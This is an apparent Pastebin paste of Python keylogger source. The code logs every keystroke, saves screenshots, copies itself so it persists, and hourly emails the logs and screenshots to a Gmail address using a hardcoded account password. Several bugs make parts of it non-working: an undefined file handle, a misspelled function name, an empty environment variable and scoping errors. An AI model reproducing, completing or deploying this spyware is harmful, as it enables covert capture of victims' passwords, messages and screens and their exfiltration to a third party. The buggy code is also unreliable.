Advertisement
beboisthebestgggggg

Untitled

Oct 2nd, 2019
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.16 KB | None | 0 0
  1. import threading
  2. import smtplib
  3. import time
  4. import os
  5. import shutil
  6. import sys
  7. import subprocess
  8.  
  9. try:
  10. import pyautogui
  11. import pynput.keyboard
  12. except:
  13. os.system("cd C:\Python27\Scripts\ ")
  14. os.system("pip.exe install pyautogui")
  15. os.system("pip.exe install pynput")
  16.  
  17. log = ''
  18.  
  19.  
  20. import pynput.keyboard
  21. import pyautogui
  22.  
  23. def runforever():
  24. evil_file_location = os.environ[""]
  25. if not os.path.exists(evil_file_location):
  26. shutil.copyfile(sys.executable, evil_file_location)
  27. timer3 = threading.Timer(5, runforever)
  28. timer3.start()
  29.  
  30.  
  31. def write():
  32. write_file_location = os.environ["appdata"]
  33. global log
  34. open(write_file_location + "\\log.txt","w+")
  35. f.write(log)
  36. f.close()
  37. timer = threading.Timer(3998, write)
  38. timer.start
  39.  
  40. def writescreen():
  41. writescreen_file_location = os.environ["appdata"]
  42. screenshot = pyautogui.screenshot()
  43. screenshot.save(writescreen_file_location + "\\screen.png")
  44. timer = threading.Timer(3590, writesreen)
  45. timer.start()
  46.  
  47.  
  48. def process_key_press(key):
  49. global log
  50. try:
  51. log = log + str(key.char)
  52. except AttributeError:
  53. if key == key.space:
  54. log = log + " "
  55. elif key == key.backspace:
  56. log = log + "\b"
  57. elif key == key.enter:
  58. log = log + "\n"
  59. else:
  60. log = log + " " + str(key) + " "
  61.  
  62.  
  63. def bebo():
  64. from email.mime.text import MIMEText
  65. from email.mime.multipart import MIMEMultipart
  66. from email.mime.base import MIMEBase
  67. from email import encoders
  68. import os.path
  69.  
  70. email = 'keykeydontlikekey@gmail.com'
  71. password = 'Olivierminionalpine123'
  72. send_to_email = 'niniisgreategg@gmail.com'
  73. subject = 'keylogger'
  74. message = 'logger'
  75. file_location = write_file_location + "\\log.txt"
  76.  
  77. msg = MIMEMultipart()
  78. msg['From'] = email
  79. msg['To'] = send_to_email
  80. msg['Subject'] = subject
  81.  
  82. msg.attach(MIMEText(message, 'plain'))
  83.  
  84. # Setup the attachment
  85. filename = os.path.basename(file_location)
  86. attachment = open(file_location, "rb")
  87. part = MIMEBase('application', 'octet-stream')
  88. part.set_payload(attachment.read())
  89. encoders.encode_base64(part)
  90. part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
  91.  
  92. # Attach the attachment to the MIMEMultipart object
  93. msg.attach(part)
  94.  
  95. server = smtplib.SMTP('smtp.gmail.com', 587)
  96. server.starttls()
  97. server.login(email, password)
  98. text = msg.as_string()
  99. server.sendmail(email, send_to_email, text)
  100. server.quit()
  101. time.sleep(1)
  102. log = ""
  103. timer = threading.Timer(3600, bebo)
  104. print('sent')
  105. timer.start()
  106.  
  107.  
  108.  
  109.  
  110. def screen():
  111. from email.mime.text import MIMEText
  112. from email.mime.multipart import MIMEMultipart
  113. from email.mime.base import MIMEBase
  114. from email import encoders
  115. import os.path
  116.  
  117. email = 'keykeydontlikekey@gmail.com'
  118. password = 'Olivierminionalpine123'
  119. send_to_email = 'niniisgreategg@gmail.com'
  120. subject = 'screenshot'
  121. message = 'screen'
  122. file_location = writescreen_file_location + "screen.png"
  123.  
  124. msg = MIMEMultipart()
  125. msg['From'] = email
  126. msg['To'] = send_to_email
  127. msg['Subject'] = subject
  128.  
  129. msg.attach(MIMEText(message, 'plain'))
  130.  
  131. # Setup the attachment
  132. filename = os.path.basename(file_location)
  133. attachment = open(file_location, "rb")
  134. part = MIMEBase('application', 'octet-stream')
  135. part.set_payload(attachment.read())
  136. encoders.encode_base64(part)
  137. part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
  138.  
  139. msg.attach(part)
  140.  
  141. server = smtplib.SMTP('smtp.gmail.com', 587)
  142. server.starttls()
  143. server.login(email, password)
  144. text = msg.as_string()
  145. server.sendmail(email, send_to_email, text)
  146. server.quit()
  147. time.sleep(1)
  148. timer2 = threading.Timer(1500, screen)
  149. timer2.start()
  150.  
  151.  
  152. keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
  153.  
  154. with keyboard_listener:
  155. write()
  156. writescreen()
  157. runforever()
  158. bebo()
  159. screen()
  160. keyboard_listener.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement